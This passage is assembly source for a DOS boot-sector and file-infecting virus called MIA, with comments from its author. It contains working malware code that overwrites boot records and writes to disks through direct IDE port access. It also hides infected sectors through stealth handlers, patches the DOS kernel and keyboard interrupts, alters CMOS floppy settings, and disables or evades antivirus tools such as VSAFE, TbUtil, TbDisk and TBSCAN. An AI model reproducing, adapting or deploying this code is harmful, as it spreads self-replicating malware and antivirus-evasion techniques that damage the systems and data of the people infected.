(needed for HD) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; When infecting a hard disk, MIA overwrites the first 26 bytes of its active ; boot-record (overwrites first 23 bytes of BPB) with virus launcher. This ; has two advantages: ; 1) When user tries to boot the computer from clean floppy disk, whereas the ; first fixed disk has been infected, user will not be able to access the ; current active partition of that disk, He/She will only get an error DOS ; message, "Invalid media type reading drive C". This forces the user to ; boot from infected partition. ; 2) If the MBR of infected hard disk has been immunized by TbUtil, then the ; TbUtil's MBR will not be able to detect changes of MIA-infected active ; boot-record (whereas, in fact MBR is executed before active boot-record) ; since TbUtil's MBR doesn't include the first 64 bytes of the boot-record ; in its CRC calculation (maybe 'cause the BPB is there and it's sometimes ; changed by the user). ; ; More infos: ; TbUtil's MBR has three ways to detect boot-record virus, one way to detect ; viruses that infect active boot-record of fixed disk and two other ways to ; detect MBR-infectors, those ways are described below: ; 1) Compare the CRC value of active boot-record made in installation process ; with the one calculated on boot-strap, this is the only way to detect ; viruses that infect the active boot-record since the virus has not yet ; been resident. (however, MIA can avoid it) ; 2) Compare the amount of base memory (the word at 0040h:0013h) with certain ; value, usually 027Fh (TbUtil v7.x & v8.x). Many boot-record viruses can ; be detected using this way (particularly Multi-partite ones), however, ; I have seen some viruses are tricky enough to avoid this, for instance, ; the TPVO.3783 just copies its codes to absolute address 7C00h:0000h then ; waits for DOS to be loaded, then allocates DOS memory and moves itself ; there, very tricky!! ; 3) Checking segment of INT 13h vector in IVT, TbUtil's MBR checks whether ; it's above or same with C000h (indicates ROM), if not then user will be ; alarmed for the presence of a boot-record virus. Almost all boot-record ; viruses can be detected using this way, but still, there are some nasty ; ones that can avoid this check, including TPVO.3783 which uses the same ; method with MIA.9000 to hook INT 13h (I consider this method great code, ; but I wonder why it's seldom used). ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ and dl,dl ; FD or HD ? mov di,bx js Offend ; Branch if HD mov al,0E9h stosb ; Put a near JMP opcode mov ax,01A3h ; In FD infection, MIA chooses JMP destination call Ranger ; randomly, 8-) add ax,003Bh stosw ; Put JMP displacement add di,ax ; Now DI points out to JMP destination Offend: call Rand16 and ax,0003h ; [0..3] add al,0Dh xchg bp,ax ; BP will be for shuffling loop, [13..16] call Rand16 ; Obtain random word into AX mov ax,33FAh ; CLI + XOR XX,XX jz Exclusive sub ah,08h ; SUB XX,XX Exclusive: stosw mov ax,0008h ; Eight kinda registers call Ranger ; AX/BX/CX/DX/SP/BP/SI/DI mov dl,al imul ax,0009h or al,0C0h stosb mov dh,dl or dx,0C0D0h ; Generate MOV ES,XX/MOV SS,XX call Rand16 mov al,8Eh jnz Consistent xchg dh,dl ; Exchange ES/SS order Consistent: mov ah,dl stosw mov ah,dh stosw mov al,0B8h ; MOV AX,XXXX stosb mov ax,0200h + Loader stosw mov al,0BBh ; MOV BX,XXXX stosb Randomize: call Rand16 ; Get random word for read buffer on booting cmp ax,0502h ; Avoids overwriting IVT, BIOS data area, Print jb Randomize ; Screen status byte, and NEC PC-9000 screen mode cmp ax,7C00h - (Loader * 200h) jna Effervesce ; it's OK! so skip further checking cmp ax,7E00h ; Avoids overwriting boot-strap area jb Randomize cmp ax,-(Loader * 200h) ; Avoids overcrossing segment boundary, so jnbe Randomize ; MIA can easily move all codes into memory ; hole on booting. Effervesce: stosw xchg dx,ax ; Save read buffer in DX mov al,0B9h ; MOV CX,XXXX stosb mov ax,ds:[Value_1] ; Track/sector of MIA's main body, 8-) inc ax stosw mov al,0BAh ; MOV DX,XXXX stosb mov ax,ds:[bx + 24h] ; Head (side) & boot drive stosw mov al,0BCh ; MOV SP,XXXX stosb Solicit: call Rand16 ; Get random word for SP and al,0FEh ; Make it even value (avoid AC fault??) cmp ax,0600h ; 0000h:0600h is the lowest address MIA will jb Solicit ; use cmp ax,7C00h ; Be careful not to overwrite boot-strap area jna Salvaged cmp ax,7F00h ; Assume MIA needs 256 bytes of stack space jb Solicit Salvaged: sub ax,dx jbe Mechanized ; it's OK If initial stack is below or same cmp ax,(Loader * 200h) + 100h jb Solicit ; SP can only be set at least 256 bytes beyond Mechanized: add ax,dx ; read buffer area stosw Shuffle: mov ax,0005h ; Five rows to shuffle lea bx,[di - 0Fh] mov si,bx push ax call Ranger imul ax,0003h add bx,ax ; BX = first exchange pointer pop ax call Ranger imul ax,0003h add si,ax ; SI = second exchange pointer lodsw xchg ax,ds:[bx] ; Exchange orders mov ds:[si - 02h],ax lodsb xchg al,ds:[bx + 02h] ; This is nothing if BX = SI mov ds:[si - 01h],al dec bp jnz Shuffle ; Keep shuffling... mov ax,13CDh ; INT 13h opcode add bp,sp stosw xor ax,11BFh ; JC $ + 04h stosw call Rand16 mov ax,0E3FFh ; JMP BX jnp Scurry mov ax,0C353h ; PUSH BX + RETN Scurry: stosw mov ax,18CDh ; INT 18h opcode stosw mov bx,offset Slack ; now, write it to boot area mov cx,ds:[Value_3] mov dl,ss:[bp + 0Ah] ; Get drive number from stack mov dh,ds:[Value_4] test dl,dl ; Write to hard disk? js Direct_Disk ; If yes, test if it's an IDE Transmit: jmp Indirect ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Direct IDE hard disk access (write) ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Direct_Disk: ; Check whether it's IDE (or MFM too??) disk push bx cx dx 0000h ; or not? mov ah,08h ; Note that MIA doesn't check drive type since pop ds ; many HDs are removable and being reported as ; floppies lds si,ds:[0104h] ; Get 1st fixed disk parameter vector int 18h setalc ; SETALC opcode, AL=+1 if no carry, else AL=-1 cmp al,0FFh je Inactive ; "Drive activity failed" (why?) lodsw ; AX = number of cylinder shr cl,06h ; Shift 6 bits lower, divide by 64 & round down xchg ch,cl and dh,0C0h ; Get bit 6-7 shr dh,04h ; Shift 4 bits lower, divide by 16 & round down or ch,dh ; Now CX holds total cylinders inc cx inc cx ; Two cylinders?? cmp ax,cx ; Now ZF set for IDEs Inactive: push cs pop ds dx cx bx jne Transmit ; IDE disk? ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Write to IDE hard disk, this is done by performing direct access via port ; of hard disk controller in order to bypass some TSR watchdogs and BIOS Anti ; Virus features. MIA uses the following ports: ; Port 01F1h : Read = anticipating errors ; Write = Write Precompensation Cylinder div 4 (WPC/4) ; Port 01F2h : Write = sector count ; Port 01F3h : Write = sector number (CHR mode, instead of LBA) ; Port 01F4h : Write = track (low) number (CHR mode, instead of LBA) ; Port 01F5h : Write = track (high) number (CHR mode, instead of LBA) ; Port 01F6h : Write = drive & head (side) ; Port 01F7h : Read = drive status register ; Write = command register ; Port 03F6h : Write = Hard Disk Controller (HDC) data register ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ push dx mov ax,cx and cl,0C0h ; Clear all bits except bit 6-7 in CL shr cl,06h ; Convert it to bit 0-1 mov ds:[Low_Cylinder],ch mov ch,dh ; Get head number and ch,0C0h ; Clear all bits but keep bit 6-7 (for HD with shr ch,04h ; >1024 cylinders), shift 4 bits lower, divide or cl,ch ; by 16 & round down mov ds:[Hi_Cylinder],cl and al,3Fh ; Get low-6-bit number of sector/record mov ds:[Beg_Sector],al or dh,0A0h ; Fixed! bit 5 & bit 7 must be set mov ds:[Drive_Head_01],dh mov ds:[Drive_Head_02],dh call Delay ; Spend some time Endeavour: mov al,04h ; Option: enable disk initialization & reset mov dx,03F6h ; First HDC out dx,al ; Enable disk reset call Delay mov al,cl out dx,al call Delay mov dh,01h ; Port 01F6h : Drive_Head_01 equ byte ptr $ + 01h mov al,0A1h out dx,al ; Sending drive & head (side) ... call Delay mov al,10h inc dx ; Port 01F7h : out dx,al ; Recalibrate... call Controller mov dl,0F1h ; Port 01F1h : in al,dx and al,68h ; Clear two reserved bits (bit-3 & bit-5) jnz Endeavour ; if not zero, then at least one error occured call Controller mov al,01h mov dl,0F2h ; Port 01F2h : out dx,al ; Sending number of sectors to write... call Delay Beg_Sector equ byte ptr $ + 01h mov al,01h inc dx ; Port 01F3h : out dx,al ; Sending sector number... call Delay Hi_Cylinder equ byte ptr $ + 01h mov al,00h inc dx ; Port 01F4h : out dx,al ; Sending hi-cylinder... call Delay Low_Cylinder equ byte ptr $ + 01h mov al,00h inc dx ; Port 01F5h : out dx,al ; Sending low-cylinder... call Delay Drive_Head_02 equ byte ptr $ + 01h mov al,0A1h inc dx ; Port 01F6h : out dx,al ; Sending drive & head (side) ... call Delay mov al,31h ; Perform write without retry. inc dx ; Port 01F7h : out dx,al ; Sending command... Rolling_Drive: call Controller test al,08h jz Rolling_Drive ; Wait here until seeking completed inc ch ; 256 words to send mov dl,0F0h ; Port 01F0h : mov si,bx repe outsw ; Sending data to port... call Controller ; Spend some milliseconds pop dx jmp short Falseforce Indirect: mov ax,0301h int 18h ; On floppies (or SCSI ?), call disk handler jnc Falseforce Trapdoor: jmp Morbid ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Viral sectors hiding/protection procedure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Denied: call Restorage ; Restore INT 15h call Flop mov ax,0400h ; "Sector not found" popf stc jmp short Sharpen Streamliner: cmp ds:[si + 23h],ch ; Reading MIA's track? jne Trapdoor cmp ds:[si + 25h],dh ; On proper side? jne Trapdoor cmp ah,05h ; Format function? Silly: je Denied ; Yes, so deny the access or dl,dl ; Test the drive jns Denied ; Branch if FD cmp cl,ds:[si + 22h] ; Compare CL with sector number of virus codes jnb Illegal ; If same or above, MIA should do some tricks dec ax add cl,al ; Now CL holds the last sector number that will sub cl,ds:[si + 22h] ; be read/written jc Trapdoor ; If CF=1 then virus codes won't be affected sub al,cl ; Now AL holds number of sectors allowed being inc cx ; accessed, and CL holds number of sectors MIA push ax cx ; prohibits the user to be read/written to mov cl,ss:[bp + 0Ch] int 18h ; Read/write non-viral sectors pop cx ax jc Retrogress ; Error? huh! sub ah,ah sal ax,09h ; Convert number of sectors into bytes add bx,ax ; Adjust read/write buffer offset mov al,cl ; AL now holds the rest of sectors which are ; parts of main virus codes Illegal: test ss:byte ptr [bp + 11h],01h jnz Retrogress ; Reading sectors? no, jump out xor ah,ah shl ax,08h ; Convert number of sectors to words xchg cx,ax mov di,bx ; Offset of read buffer sub ax,ax ; Fill buffer with zeros repe stosw ; So instead of reading MIA's main body, ; return a block of zeros (faking the user) Retrogress: call Restorage ; Restore INT 15h vector call Flop ; Pop all registers sub ah,ah ; Clear AH, indicate successful action popf ; Restore flags state clc ; Of course, no error ha ha ha... Sharpen: retf 0002h ; Back to interrupt caller SubTtl Ad astra nitamur semper ad optima Falseforce: mov si,bx ; BX = SI = buffer of boot-record les bx,ss:[bp + 0Eh] mov ax,es mov di,ax ; Get registers from stack les dx,ss:[bp + 0Ah] mov cx,es mov es,ss:[bp] ; Get read buffer segment from stack cmp ds:[si + 3Bh],cx ; Did he try to harm My MIA? jne Streamliner cmp ds:[si + 3Dh],dh ; I'll fight till the cows come home!! jne Streamliner cmp ah,05h ; Formatting disk? huh... 8-( je Silly mov al,01h ; One sector mov cx,ds:[si + 22h] ; This is where the original boot-record mov dh,ds:[si + 25h] ; located cmp ah,02h je Steal_Sector ; Read sector(s) ? branch if yes cmp ah,0Ah je Steal_Sector ; Read long sector(s) (HD) ? bomb if yes push ax mov ax,ds:[si + 20h] ; Get encryption keyword from boot-launcher call ExOr_Boot ; Encrypt 512 bytes at ES:[BX] pop ax ; Then write it Steal_Sector: push ss:word ptr [bp + 12h] popf ; Load original flags state int 18h pushf pop ss:word ptr [bp + 12h] jc StealthShip ; Error reading/writing, quit! push ax mov ax,ds:[si + 20h] ; Get the keyword again call ExOr_Boot ; Now decrypt 512 bytes mov ax,di dec al ; Decrease read/write count jz Generationext ; Did he/she try to read/write just one sector? add bx,ds:[si + 0Bh] ; Add with bytes per sector mov cx,ds:[si + 3Bh] ; Get boot track/sector from viral boot-record mov dh,ds:[si + 3Dh] ; And head (side) too inc cx ; No problem for MIA int 18h ; Fetch additional sectors being read Generationext: xchg di,ax pop ax add ax,di ; AL contains number of sectors transferred xor ah,ah ; AH cleared to indicate successful action StealthShip: mov ss:[bp + 10h],ax ; Update AX on stack jmp Final Controller: mov dx,01F7h ; Port 01F7h Trace_drive: in al,dx test al,80h ; Still working hey?? jnz Trace_drive ; I'll wait... ret Delay: call Foolish mov cx,0007h ; Some millisecond delay... loop $ ; Loop here Foolish: ret Disable_Equipments: in al,21h ; Obtain PIC 1 state mov cs:[IRQ],al ; Store it for later restorage or al,06h ; Mask bit 1 & 2 (keyboard, mouse, RTC, video) jmp short Share Restore_IRQs: mov al,0BBh IRQ equ byte ptr $ - 01h Share: out 21h,al ; Restore PIC 1 state ret ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Before save the original boot-record to disk, MIA encrypts it. Although ; this will not stop Vesselin "Civet" Bontchev, John McAfee, Frans Veldman or ; Eugene Kaspersky from creating decryptor, but this is better than leave the ; 512 bytes lie barenaked in disk sector. 8-) ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ExOr_Boot: push bx cx mov cx,01FFh Disorder: add ax,cx xor es:[bx],ax ; eXclusive OR ES:[BX] inc bx loop Disorder pop cx bx ret ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; MIA doesn't hook DOS interrupt directly (i.e. change value of doubleword at ; 0000h:0084h) but patches two bytes in the DOS kernel with an INT pointed to ; viral handler. MIA uses following subroutine to swap those two bytes (when ; executes original DOS interrupt, they must be restored first, otherwise the ; computer would screw up!! 8-) ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Swapper: push ax si ds lds si,cs:[Viral_Interrupt] mov ax,ds:[si] ; Why doesn't MIA use LODSW instead?? ; Doesn't want to be messed by DF ?? ZigAZig: xchg cs:[Interstice],ax ; Exchange with 2 bytes in buffer mov ds:[si],ax ; Patch it! pop ds si ax ret Rand16: push cx clc setalc ; Counter 0, latch it with zero detection out 43h,al ; Port 0043h, 8253-4 = PIT mode control word out 0EBh,al ; Delay for Intel Chipset 8237IB ??? in al,40h xchg ah,al in al,40h ; Obtain a byte from counter 0 xchg cx,ax mov ax,0E724h Seed_01 equ word ptr $ - 02h imul ax,4E6Dh ; Poorly made, as far as Your eyes can see Seed_02 equ word ptr $ - 02h add ax,71AAh Seed_03 equ word ptr $ - 02h rcr ax,01h mov ds:[Seed_01],ax xor ds:[Seed_02],cx ; Bahhh... sal cx,01h adc ds:[Seed_03],cx xor ax,cx sahf pop cx ret Ranger: ; Random in range push dx ax call Rand16 pop cx xor dx,dx div cx ; DX:AX / CX pop ax xchg dx,ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 01h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Tracer: call Flip ; Push everything mov si,cs xor di,di mov bp,sp cmp ss:[bp + 14h],si ; Don't trace My codes! 8-) je Branch lds si,ss:[bp + 12h] ; Load pointer to next instruction (return address) test cs:byte ptr [di + 2Bh],80h jnz Fray ; Was there a PUSHF ? branch if not and ss:byte ptr [bp + 19h],0FEh not cs:byte ptr [di + 2Bh] ; Restore tunneling counter Fray: inc cs:byte ptr [di + 2Bh] ; Tunneling counter jz Extraction lodsb sub al,9Ch ; PUSHF instruction? jnz Extortion not cs:byte ptr [di + 2Bh] ; We'll alter stack on next execution Extortion: ; It ain't likely that a DOS dispatcher handler dec al ; will PUSHF and then POPF, but anyway... 8-) jnz Branch or ss:byte ptr [bp + 19h],01h Branch: call Flop iret Extraction: ; So now it's the right time to re-swap DOS xchg ss:[bp + 17h],al and al,0FEh ; Clear TF xchg ss:[bp + 17h],al call Swapper lds si,cs:[di + 27h] ; Load old tracer vector push ds mov ds,di mov ds:[di + 04h],si ; Restore INT 01h handler pop ds:word ptr [di + 06h] call Freeware ; Allow boot-record infection call Restore_IRQs ; Restore PIC 1 state mov al,9Ch IIO equ byte ptr $ - 01h out 0A1h,al ; Restore PIC 2 state jmp short Branch Metrics: ; INT 09h patcher mov cx,0005h lds si,cs:[Keyboard] ; Load address of INT 09h vector mov di,offset Prebuff ; DI = 5 bytes buffer Exposure: cld Exchanging: lodsb xchg cs:[di],al ; Exchange CX bytes inc di mov ds:[si - 01h],al loop Exchanging Unpressed: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 09h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Survive: ; This is the 1st handler (installed on booting) sub sp,0FFFCh call Flip call Offshoot ; Call the main routine of INT 09h handler call Flop popf Keypress: db 0EAh ; Pass control back to INT 09h Keyboard dd 0F000E987h Grip: ; And this is the 2nd handler (file execution) add sp,0004h call Flip ; Push registers call Metrics ; Restore the first 5 bytes of INT 09h call Offshoot ; Call the main routine of INT 09h handler call Flop push cs call Keypress ; Call original INT 09h then call Flip call Metrics ; Put again the far JMP jmp short Branch Offshoot: ; Main routine of INT 09h handler push 0000h mov ax,0F828h xor cs:word ptr [Survive + 01h],ax xor cs:word ptr [Grip + 01h],ax pop ds mov al,ds:[0417h] ; Get keyboard status flags 1 and al,0Ch ; Test bit 2 & 3, i.e. Ctrl & Alt state cmp al,0Ch ; Pressed simultaneously? jne Unpressed ; Jump if not in al,60h ; Port 0060h = keyboard controller sub al,53h ; Get scan code, is it a DEL ?? jnz Unpressed Collide: xor ax,ax cmp ds:[0475h],ah ; (0000h:0475h) number of installed HD jbe Unpressed ; Jump if HD is unavailable ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Enable/disable FDDs in CMOS ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Enable_FDD: mov bp,ax mov al,10h ; CMOS RAM index 10h = floppy drive type out 70h,al in al,71h push ax ; Save it on stack mov al,2Eh ; CMOS RAM index 2Eh = hi-byte of IBM standard out 70h,al ; CMOS checksum in al,71h xchg ch,al mov al,2Fh ; CMOS RAM index 2Fh = low-byte of IBM standard out 70h,al ; CMOS checksum in al,71h xchg cl,al mov bl,10h cwd Calculate: mov al,bl out 70h,al inc bx in al,71h add dx,ax ; Checksum method for IBM standard cmp bl,2Eh jb Calculate cmp cx,dx mov ax,bp pop bx jne PS_2 ; If checksum differs, probably IBM PS/2 CMOS mov cx,2F2Eh test bx,bx jz Platitude sub dx,bx ; Correct CMOS checksum add dx,bp jmp short Disable_FDD Platitude: add dx,ax jmp short Disable_FDD PS_2: ; Get IBM PS/2 CMOS CRC-16 and bx,bx jnz Stable add bx,ax Stable: mov cx,3233h mov al,cl out 70h,al in al,71h ; Obtain hi-byte CRC-16 xchg dh,al mov al,ch out 70h,al in al,71h ; Obtain low-byte CRC-16 xchg dl,al xor dx,bx ; Maintain correct CRC-16 Disable_FDD: mov al,cl out 70h,al mov al,dh out 71h,al ; Save low-byte new checksum/CRC-16 mov al,ch out 70h,al xchg dx,ax out 71h,al ; Save hi-byte new checksum/CRC-16 mov al,10h out 70h,al xchg bp,ax out 71h,al ; Now, write to CMOS RAM ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Attempting to grab int 21h after boot-strap ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; So far, MIA has been resident but it wasn't over, 'cause DOS was not loaded ; as yet, MIA shall do a trick to determine when it is the right time to hook ; INT 21h. I'm very sorry that this trick is a kinda what any fool can do... ; 8-( ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Strategy: call Flip ; Push all registers xor bx,bx inc bx mov ds,bx cmp ds:[bx + 73h],bx ; INT 21h offset jae Timeup cmp ds:[bx + 75h],bx ; INT 21h segment jb Unload ; (0000h:0000h) ? Timeup: add ds:word ptr [0403h],Memory mov al,10h ; What the hex! hooking INT 10h ?? mov cx,cs mov dx,offset Intersperse ; What for?? well, no time to explain! 8-) call Revector mov cs:word ptr [Video],dx mov cs:word ptr [Video + 02h],cx mov cs:byte ptr [Black_Hole + 01h],0A9h Unload: call Flop ; Restore registers ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 10h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Intersperse: cld call Flip ; Save all registers cmp ax,0DADAh ; Yohoo! My baby's calling... jne Overhaul cmp si,0BABEh ; Is that MIA ? jne Overhaul cmp di,0FEEDh ; Oh really, that's My baby... jne Overhaul add ss:word ptr [bp + 12h],offset Loaded - offset Returned Overhaul: mov ah,51h sub si,si int 21h ; Get current PSP segment into BX Mainbrain: mov ds,bx cmp ds:word ptr [si],20CDh ; Must be a valid PSP jne Shutdown cmp ds:[si + 16h],bx ; The highest PSP ? (first COMMAND.COM) mov bx,ds:[si + 16h] jne Mainbrain ; i.e. parent segment is same with current one? cmp ds:[si + 2Ch],bx ; Check environment segment jbe Shutdown ; Must be above COMMAND.COM mov ah,30h ; I never wonder if Matthias Paul can intercept int 21h ; this function with his FREEVER.COM and return cmp al,03h ; version prior to 4.00, really, it's nonsense! jna Veer call Scramble ; Decrypt some codes! and bx,si mov cs:[F_Hand],bx ; Free file handle call Seek_Block ; Look for last MCB in chain push cs mov ds:byte ptr [bx],4Dh ; it won't be the last MCB anymore... pop es call Forward ; Build MIA MCB call Follow ; Search for DOS entry point call Swapper ; Patch DOS! call Scramble ; Encrypts! Veer: mov al,10h lds dx,cs:[Video] ; Restore video interrupt vector call Vectorize Shutdown: call Flop db 0EAh ; Far JMP to video interrupt handler Video dd 0C0001B26h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; He, he, he... I just added below subroutine just because there are tricky ; programs which do sanity check by checking the amount of memory allocated ; to themselves, this can only be done by .EXE programs. TBSCAN.EXE v7.0X is ; one of those programs. Note that below procedure is completely nonsense if ; maximum memory paragraph field in header contains word smaller than 0010h ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Adjust: inc ds:word ptr [si + 0Ch] ; Maximum paragraph of memory needed jz Too_Much ; Too much of something is bad enough... 8-) mov cx,ds:[si + 02h] ; Get .EXE loadable module size MOD 512 mov dx,(VirLen / 200h) * 20h jcxz Divisible ; CX = zero = original size is divisible by 512 cmp cx,0200h - (VirLen - ((VirLen / 200h) * 200h)) jna Zero_Mod ; Jump if not above, it means that the last page ; contains parts of host program, otherwise, Divisible: ; 512 bytes memory have been allocated for add dx,0020h ; virus portion only. Zero_Mod: sub es:[0002h],dx ; Modify Top-Of-Memory field Too_Much: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Runs the Original Program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Overlap: call Scramble ; Garble some bytes call Freeware ; Now permit boot-record infection Backward: pop es ds ; Restore DS & ES mov ax,es ; AX = current PSP segment mov bx,ss ; BX = stack segment cmp ax,bx ; In .COM files execution, AX & BX are equal jne Complexe push ds mov di,0100h ; (DS:0100h) back to .COM's entry point push di db 2Eh ; CS: movsw db 2Eh ; CS: movsw xor ax,ax ; Clear AX, (DESQview behaviour?) sahf ; Clear CF, ZF, SF, PF, and AF retf SubTtl Adversis major, par secundis... Complexe: ; Run .EXE file... cli push cs pop ds call Adjust ; Adjust Top-Of-Memory field in PSP mov ds,ax add ax,0010h ; First segment = PSP segment + 16 add cs:[si + 16h],ax ; Add with initial CS to get real CS mov sp,cs:[si + 10h] ; Restore SP add ax,cs:[si + 0Eh] mov ss,ax ; Restore SS sub ax,ax ; Clear AX, (DESQview behaviour?) sahf ; Clear CF, ZF, SF, PF, and AF sti jmp cs:dword ptr [si + 14h] Beg_Cloak equ $ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Let Me brag for a while, blah, blah, blah... ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dw 0000h db 'This is Mia!',00h,00h ; In Italian language, "mia" means "mine" or db ' (P) & (C) 1999 ' ; "My property" 8-) db 'Fulvian/DIVA, (R' db ') Mia Wijayanti,' db ' Dempo Senior Hi' db 'gh School, Malan' db 'g - Indonesia. ' ;db 'Bukan maksudku tidak mempedulikanmu, dan bukannya aku tak ingin kau ' ;db 'tahu, tapi hanyalah rasa malu yang selalu membelenggu, membuat rindu' ;db ' ini semakin menggebu-gebu, dan walaupun engkau tak akan pernah tahu' ;db ', aku akan tetap menunggu hingga waktu berlalu, dan satu yang pasti,' ;db ' kutahu yang kumau... cintamu, Mia... ' ; Translated into (bad) English: ; It ain't that I do not take care of You, and it does not mean that I do not ; want You to know, but the bashfulness which always shackles Me, makes this ; yearning becomes warmer and warmer, and even though You will never know it, ; I will still wait for all the rest of time, and one thing for sure, I know ; what I really really want... it's Your love, Mia... db 'I (HAVE TO) LOVE YOU ' Note db 'MIA, YOUR DEEPEST FEAR WILL SURFACE! FULVIAN BELIEVES IT ANYWAY...' Insult db 'Emang gue pikirin?' Sound: ; Generate speaker beep mov cx,0014h Click: mov al,0B6h out 43h,al ; Control the 8253/8254 PIT mode mov al,0DCh out 42h,al ; Send AL to PIT counter 2 mov al,05h out 42h,al ; Send AL to PIT counter 2 in al,61h ; Read from system control port or al,03h ; Open timer 2 clock speaker gate out 61h,al ; Send it to port mov ax,8000h dec ax ; Wait a sec... jnz $ - 01h in al,61h and al,0FCh ; Turn off speaker sound out 61h,al loop Click mov ax,VirLen call Delay ; Do some delay dec ax jnz $ - 04h ret Seek_Block: mov ax,0FA01h ; Uninstall VSAFE & VWATCH mov dx,5945h ; 'YE' int 16h mov ah,52h push es int 21h ; Get LoL (List-of-Lists) vector = ES:[BX] mov dx,es:[bx - 02h] ; ES:[BX-02h] = First MCB (DOS MCB) inc dx pop bx dec bx mov es,bx xor bx,bx More_Block: mov si,bx ; Set SI equal to zero mov ds,dx cmp ds:byte ptr [bx],44h ; 'D' - installed device driver (subsegment MCB) je Subsegment cmp ds:byte ptr [bx],4Dh ; 'M' - valid MCB signature jne True_Block add si,0100h ; If MCB in chain, there must be a PSP ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Patching TbDisk v7/v8 resident portion, this is done by altering a byte in ; its resident segment. it's used to get the original ROM entry point of disk ; interrupt handler (TbDisk intercepts that function and returning its disk ; interrupt handler as ROM entry point). below's TbDisk v8.08's multiplex INT ; handler: ; ; 0CCB:00AB 9C PUSHF ; 0CCB:00AC 80 FC 13 CMP AH,13 ÄÄÄ Set disk INT handler? ; 0CCB:00AF 74 06 JZ 00B7 ÄÄÄ Jump if yes ; 0CCB:00B1 9D POPF ; 0CCB:00B2 EA D6 01 F9 0B JMP 0BF9:01D6 ÄÄÄ Relative address ; 0CCB:00B7 2E F6 06 16 00 01 TEST CS:BYTE PTR [0016],01 ; 0CCB:00BD 2E 87 16 4E 00 XCHG DX,CS:[004E] ; 0CCB:00C2 2E 8E 06 50 00 MOV ES,CS:[0050] ; 0CCB:00C7 2E 8C 1E 50 00 MOV CS:[0050],DS ; 0CCB:00CC 06 PUSH ES ; 0CCB:00CD 1F POP DS ; 0CCB:00CE 8B DA MOV BX,DX ; 0CCB:00D0 9D POPF ; 0CCB:00D1 CF IRET ; 